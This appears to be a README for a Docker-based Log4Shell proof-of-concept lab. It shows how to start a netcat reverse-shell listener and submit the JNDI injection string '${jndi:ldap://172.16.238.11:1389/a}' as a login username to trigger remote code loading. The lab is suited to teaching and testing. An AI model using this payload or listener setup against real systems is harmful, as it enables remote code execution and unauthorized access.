The exploit code in this demo is based on that found at https://github.com/kozmer/log4j-shell-poc
This code requires Docker and Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
- Setup you docker listener in the first terminal
nc -lv 10.10.10.31 9001
- Start the docker containers in a second terminal
docker-compose up
- Navigate to the web app on port 8080
- Navigate to http://10.10.10.31:8080/log4shell
- Enter the username:
admin
- Enter the password:
password
- Select the "login" button
- See the welcome screen
- Enter the username:
- Return to login at http://10.10.10.31:8080/log4shell
- Enter the username
${jndi:ldap://172.16.238.11:1389/a}
- Select the "login" button
- Check for connection on your
nc
listener
- Enter the username
- Navigate to http://10.10.10.31:8080/log4shell